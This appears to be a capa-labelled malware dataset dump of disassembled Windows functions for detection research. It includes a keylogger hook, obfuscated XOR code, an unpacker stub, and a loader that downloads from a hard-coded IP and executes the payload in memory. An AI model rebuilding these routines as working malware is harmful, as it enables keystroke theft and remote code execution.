joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1413e1ed0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1413e1edd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1413e1eed
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1413e1ed5
lea eax, [rcx + 1]
jmp 0x1413e1efb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1413e1f0e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1413e1ef4
sub eax, 3
jb 0x1413e1f2e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1413e1f7d
sar eax, 1
movsxd rbp, eax
jb 0x1413e1f64
jmp 0x1413e1f3c
add ebx, ebx
jne 0x1413e1f3a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1413e1f64
inc ecx
add ebx, ebx
jne 0x1413e1f4a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1413e1f64
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1413e1f5d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1413e1f4c
add ecx, 2
jmp 0x1413e1f69
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1413e1e92
jmp 0x1413e1edd
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x13dd000]
mov eax, dword [rdi]
or eax, eax
je 0x1413e1fd9
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x13e249c]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1413e1f89
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1413e1fd3
mov qword [rbx], rax
add rbx, 8
jmp 0x1413e1fa9
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1413e201d
cmp al, 0xef
ja 0x1413e2005
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1413e1fe5
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x1413e1ff4
mov eax, dword [rdi]
add rdi, 4
jmp 0x1413e1ff4
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x237]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1413e2071
sub rsp, 0xffffffffffffff80
jmp 0x1407ad1d4
Function at 0x140016230
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140021dd0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140021dd0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x1400162a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14012b0b4]
mov rbx, rcx
test esi, esi
jle 0x1400163d0
mov rax, qword [0x14012b0b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400162eb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140016375
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400162d0
mov rcx, rbx
call fcn.140016db0
mov rdi, rax
test rax, rax
je 0x1400163f2
mov rax, qword [0x14012b0b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140016ef0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14012b0b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400163d7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14001636e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140016380
add dword [0x14012b0b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14012b0b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14001636e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140016230
nop dword [rax]
xor esi, esi
jmp 0x1400162f8
mov rax, qword [0x14012b0b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140016230
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140016230
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x140016aa0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
cmp edx, 2
je 0x140016bd0
ja 0x140016ae8
test edx, edx
je 0x140016b68
mov eax, dword [0x14012b108]
test eax, eax
je 0x140016c50
mov dword [0x14012b108], 1
mov eax, 1
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp edx, 3
jne 0x140016ad5
mov eax, dword [0x14012b108]
test eax, eax
je 0x140016ad5
lea r12, [0x14012b120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14012b100]
test rbx, rbx
je 0x140016b54
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140016c78
test eax, eax
jne 0x140016c78
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140016b28
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x140016ad5
mov eax, dword [0x14012b108]
test eax, eax
jne 0x140016be8
mov eax, dword [0x14012b108]
cmp eax, 1
jne 0x140016ad5
mov rbx, qword [0x14012b100]
test rbx, rbx
je 0x140016ba1
nop dword [rax]
mov rcx, rbx
mov rbx, qword [rbx + 0x10]
call fcn.1400227d0
test rbx, rbx
jne 0x140016b90
lea rcx, [0x14012b120]
mov qword [0x14012b100], 0
mov dword [0x14012b108], 0
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
jmp 0x140016ad5
call fcn.140016220
mov eax, 1
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
lea r12, [0x14012b120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14012b100]
test rbx, rbx
je 0x140016c3c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop word [rax + rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140016c68
test rsi, rsi
je 0x140016c68
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140016c18
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x140016b72
lea rcx, [0x14012b120]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
jmp 0x140016acb
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140016c18
jmp 0x140016c3c
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140016b28
jmp 0x140016b54

Function at 0x140016db0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r8, qword [0x1401031e0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140016dd0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140016dd8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140016dd0
movzx eax, word [rdx + 0x14]
sub rcx, r8
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140016e25
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140016e1c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140016dd0
add rax, 0x28
cmp rax, r9
jne 0x140016e08
xor eax, eax
ret
Function at 0x140016e30
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1401031e0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140016e4f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140016e58
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140016e4f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140016ef0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1401031e0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140016f0f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140016f18
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140017330
Capabilities:
Allocate thread local storage

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov eax, dword [0x14012b108]
mov edi, ecx
mov rsi, rdx
test eax, eax
jne 0x1400169c0
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
mov edx, 0x18
mov ecx, 1
call sub.msvcrt.dll_calloc
mov rbx, rax
test rax, rax
je 0x140016a0a
mov qword [rax + 8], rsi
lea rsi, [0x14012b120]
mov dword [rax], edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x14012b100]
mov rcx, rsi
mov qword [0x14012b100], rbx
mov qword [rbx + 0x10], rax
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x1400169b6
or eax, 0xffffffff
jmp 0x1400169b8
push rsi
push rbx
sub rsp, 0x28
mov rsi, rcx
mov rbx, rdx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x140017360
mov rdx, rbx
mov ecx, eax
mov dword [rsi], eax
add rsp, 0x28
pop rbx
pop rsi
jmp 0x140022a50
add rsp, 0x28
pop rbx
pop rsi
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
test rdx, rdx
jne 0x140022a60
xor eax, eax
ret
jmp 0x1400169a0

Function at 0x1400173a0
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov ebx, ecx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, ebx
mov esi, eax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, esi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, rbx
add rsp, 0x28
pop rbx
pop rsi
ret

Function at 0x1400173d0
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x1400173e8
xor eax, eax
add rsp, 0x28
ret
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
Function at 0x1400a9a00
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sub.msvcrt.dll__fileno
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sub.msvcrt.dll__read
movsxd rbp, eax
cmp eax, 0xffffffff
je 0x1400a9a48
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x1400a9a1a
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400f8f30
Capabilities:
Log keystrokes via application hook

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
call fcn.140015fb0
xor r9d, r9d
xor r8d, r8d
mov ecx, 0xd
lea rdx, [0x1400015c3]
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov rdi, qword [sym.imp.USER32.dll_GetMessageA]
mov rbx, rax
lea rsi, [rsp + 0x20]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call rdi
test eax, eax
je 0x1400f8f88
mov rcx, rsi
call qword [sym.imp.USER32.dll_TranslateMessage]
mov rcx, rsi
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x1400f8f5e
mov rcx, rbx
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
xor eax, eax
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
Function at 0x140003240
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000328a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000328a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000328a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000328a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000328a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000328c
xor al, al
add rsp, 0x28
ret

Function at 0x140131408
Capabilities:
Encode data using xor

Disassembly:
test rax, rax
mov qword [rsp], 0xffffffffd7ac273d
lea rsp, [rsp + 8]
je 0x14014288a
mov ecx, 0x9a92a51a
ror cl, 0xa6
push r9
lea r9, [0x140155af0]
mov ecx, 0x1409dd0b
movzx ecx, byte [rcx + rbp - 0x1409dd0b]
xor ecx, edx
push 0xbae84a2
and ecx, 0xff
mov ecx, dword [r9 + rcx*4]
shr dword [rsp], 0xd0
shr edx, 8
push 0x60ade8aa
xor edx, ecx
mov dword [rsp + 4], 0xfc8e2320
inc rbp
xor edx, 0x5d3ee301
dec rax
mov qword [rsp + 8], 0xffffffff8f38c8aa
lea rsp, [rsp + 0x10]
jne 0x14013142f
push 0xffffffffb017e423
call fcn.14014287e
call fcn.14016f750
Function at 0x141c21058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.141c211df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141c21089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141c2106f
add dl, dl
jne 0x141c21096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141c210f6
xor eax, eax
add dl, dl
jne 0x141c210a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141c211ad
add dl, dl
jne 0x141c210b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141c210c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141c210d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141c210dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x141c210ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x141c2107e
mov eax, 1
add dl, dl
jne 0x141c21106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141c21113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141c210fb
sub eax, ebx
mov ebx, 1
jne 0x141c2114c
mov ecx, 1
add dl, dl
jne 0x141c2112e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141c2113b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141c21123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141c2107e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141c21168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141c21175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141c2115d
cmp eax, 0x7d00
jae 0x141c2119b
cmp eax, 0x500
jb 0x141c21196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141c2107e
cmp eax, 0x7f
ja 0x141c2119e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141c2107e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x141c211d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x141c2107e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14125a7c9
Capabilities:
Encode data using xor

Disassembly:
movzx edi, r10w
lea rbx, [rbx + rdi - 0xd382]
sal dil, 6
movzx r10d, word [rbx + rdi - 0xd300]
sub edi, 0x68a68792
xor r10w, r11w
sal di, 0xe5
dec r10w
xor r10w, 0x31b2
bswap edi
ror r10w, 1
add r10w, 0x7716
mov qword [rsp], 0xffffffffdd336c08
or rdi, rdi
not r10w
xor r11w, r10w
shr dword [rsp], 0x1a
sub dword [rsp], edi
shl rdi, 0x9f
lea r10, [rsp + r10 + 8]
mov edi, dword [r10]
setbe byte [rsp + 6]
sbb r8, 4
call fcn.141269366
add byte [rax], al
add byte [rbp + 0xb0090e7], bl
xlatb
xchg edi, eax
ja 0x14125a7fa
xchg byte [rsi - 0x6649d812], bl
cdq
test byte [rbx], ah
std
invalid
Function at 0x14004cbb0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14004cbfa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14004cbfa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14004cbfa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14004cbfa
cmp dword [rcx + 0x84], 0xe
jbe 0x14004cbfa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14004cbfc
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
movsxd rax, dword [rcx + 0x3c]
xor r8d, r8d
mov r10, rcx
mov edx, dword [rax + rcx + 0x88]
add rdx, rcx
mov r11d, dword [rdx + 0x1c]
mov ebx, dword [rdx + 0x20]
mov ebp, dword [rdx + 0x24]
mov r9d, dword [rdx + 0x18]
add r11, rcx
add rbx, rcx
add rbp, rcx
test r9, r9
je 0x140001076
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movzx eax, word [rbp + r8*2]
mov esi, dword [rbx + r8*4]
lea rdi, [0x1400094f0]
mov eax, dword [r11 + rax*4]
add rsi, r10
mov ecx, 0xf
add rax, r10
repe cmpsb byte [rsi], byte [rdi]
je 0x14000106c
inc r8
cmp r8, r9
jb 0x140001040
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
mov rbx, qword [rsp + 0x20]
pop rbp
ret

Function at 0x1400012d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push r13
mov rbp, rsp
sub rsp, 0x78
mov eax, 0x74
xor r13d, r13d
lea r8, [rbp - 0x48]
mov word [rbp - 0x34], ax
mov eax, 0x70
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x38]
mov dword [rbp - 0x38], 0x740068
mov dword [rbp - 0x30], 0x2f003a
mov word [rbp - 0x32], ax
mov dword [rbp - 0x2c], 0x38002f
mov dword [rbp - 0x28], 0x31002e
mov dword [rbp - 0x24], 0x380033
mov dword [rbp - 0x20], 0x34002e
mov dword [rbp - 0x1c], 0x37002e
mov dword [rbp - 0x18], 0x2f0036
mov dword [rbp - 0x14], 0x680068
mov dword [rbp - 0x10], 0x68
mov qword [rbp - 0x40], r13
mov dword [rbp - 0x48], r13d
call fcn.140001080
test al, al
jne 0x140001379
lea r9d, [r13 + 0x10]
lea r8, str.Error
lea rdx, str.Failed_to_download_the_file_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea eax, [r13 + 1]
add rsp, 0x78
pop r13
pop rbp
ret
mov qword [rsp + 0x90], rbx
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0xa0], rdi
mov qword [rsp + 0x70], r12
call fcn.140001460
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], r13w
je 0x1400013be
nop word [rax + rax]
mov rax, qword [rax]
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], r13w
jne 0x1400013b0
mov rdi, qword [rax + 0x10]
mov rcx, rdi
call section..text
lea rdx, str.VirtualProtect
mov rcx, rdi
mov rbx, rax
call rbx
lea rdx, str.CreateThread
mov rcx, rdi
mov rsi, rax
call rbx
lea rdx, str.WaitForSingleObject
mov rcx, rdi
mov r12, rax
call rbx
mov rbx, qword [rbp - 0x40]
mov edx, 8
lea r8d, [rdx + 0x38]
lea r9, [rbp - 0x44]
mov rcx, rbx
mov rdi, rax
call rsi
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
call r12
mov rcx, rax
or edx, 0xffffffff
call rdi
mov r12, qword [rsp + 0x70]
mov rdi, qword [rsp + 0xa0]
mov rsi, qword [rsp + 0x98]
mov rbx, qword [rsp + 0x90]
xor eax, eax
add rsp, 0x78
pop r13
pop rbp
ret

Function at 0x140001460
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x30]
ret

Function at 0x140001fd8
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140001e48
Function at 0x140026f70
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
mov eax, 0x10090
call fcn.140051d70
sub rsp, rax
mov rax, qword [0x140069040]
xor rax, rsp
mov qword [rsp + 0x10080], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor ebp, ebp
mov rsi, rcx
mov word [rsp + 0x80], bp
mov word [rsp + 0x30], bp
lea edi, [rbp + 0x28]
test al, al
je 0x140027022
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], bpl
lea rcx, [rsp + 0x24]
call fcn.140045348
cmp rax, 1
jne 0x14002707e
mov rcx, rdi
mov rax, rbx
cmp word [rbx], bp
je 0x140026fff
add rax, 2
dec rcx
cmp word [rax], bp
jne 0x140026ff3
cmp rcx, 1
jb 0x14002707e
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], bp
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x140026fc0
mov r8d, 0x10000
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0xffff
ja 0x140027053
lea rcx, [rsp + 0x80]
call fcn.140046b1c
jmp 0x140027055
xor eax, eax
mov rcx, qword [rsp + 0x10080]
xor rcx, rsp
call fcn.1400362c0
lea r11, [rsp + 0x10090]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.14003a8b0
int3

Function at 0x140027090
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x140069040]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor ebp, ebp
lea rsi, str.NUITKA_PYTHONPATH
mov word [rsp + 0x30], bp
lea rbx, [rsp + 0x30]
mov al, 0x4e
lea edi, [rbp + 0x28]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], bpl
lea rcx, [rsp + 0x24]
call fcn.140045348
cmp rax, 1
jne 0x140027165
mov rcx, rdi
mov rax, rbx
cmp word [rbx], bp
je 0x14002710c
add rax, 2
dec rcx
cmp word [rax], bp
jne 0x140027100
cmp rcx, 1
jb 0x140027165
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], bp
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x1400270d1
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.1400362c0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call fcn.14003a8b0
int3
Function at 0x140036c94
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140036cde
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140036cde
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140036cde
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140036cde
cmp dword [rcx + 0x84], 0xe
jbe 0x140036cde
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140036ce0
xor al, al
add rsp, 0x28
ret

Function at 0x14003ac10
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14003aa7b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003aa7b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003aa7b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003aa7b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003aa7b
cmp dword [rcx + 0x84], 0xe
jbe 0x14003aa7b
cmp dword [rcx + 0xf8], 0
je 0x14003aa7b
mov ecx, ebx
call fcn.14003ab2c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14003a908
nop
cmp dword [rbp + 0x20], 0
je 0x14003aac9
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14003aad4
int3
xor r8d, r8d
xor edx, edx
jmp 0x14003aa0c
Function at 0x14004b844
Capabilities:
Query environment variable

Disassembly:
